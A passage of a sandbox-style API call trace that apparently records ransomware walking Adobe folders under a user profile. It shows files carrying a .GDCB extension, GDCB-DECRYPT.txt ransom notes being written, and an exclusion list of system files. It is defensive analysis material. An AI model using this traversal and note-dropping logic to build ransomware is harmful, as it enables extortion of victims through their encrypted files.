returned 0x50 [0170.176] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.176] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 192 [0170.176] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.176] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.176] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.176] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.176] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.177] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.177] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.177] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.177] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.177] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.177] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.177] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 208 [0170.177] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 208 [0170.177] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 208 [0170.177] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 208 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.177] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.177] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0 [0170.177] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.177] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.177] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0170.177] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0170.177] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.178] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.178] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 190 [0170.178] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 190 [0170.178] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.178] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.178] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.178] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.178] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.178] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.178] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.178] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.178] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 185 [0170.178] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 185 [0170.178] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 185 [0170.178] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 185 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.178] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.179] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.179] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.179] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.179] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0170.179] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0170.179] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.179] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\" [0170.179] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.179] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.179] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.179] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.179] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.179] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.179] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 169 [0170.179] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.179] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.180] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.180] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.180] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.180] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.180] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.180] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.180] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.180] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.180] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned 171 [0170.180] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.180] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.180] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.180] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.180] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 185 [0170.180] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.180] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.180] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.180] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.180] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 186 [0170.180] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.181] GetLastError () returned 0x50 [0170.182] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.182] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 169 [0170.182] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.182] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4e18 [0170.182] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.182] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.182] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.182] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.182] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.182] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.182] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.182] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.182] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\" [0170.182] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.182] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.183] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 172 [0170.183] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.183] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4dd8 [0170.183] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.183] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.183] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.183] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.183] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.183] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.183] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.183] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.183] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 179 [0170.183] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.183] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.183] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.183] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.183] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.183] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.183] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.183] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.183] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.184] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 189 [0170.184] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.185] GetLastError () returned 0x50 [0170.185] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.185] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 172 [0170.185] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.185] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4dd8 [0170.185] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.185] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.185] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.185] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.185] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.185] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.185] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.185] lstrcatW (in: lpString1="C:\\Documents and 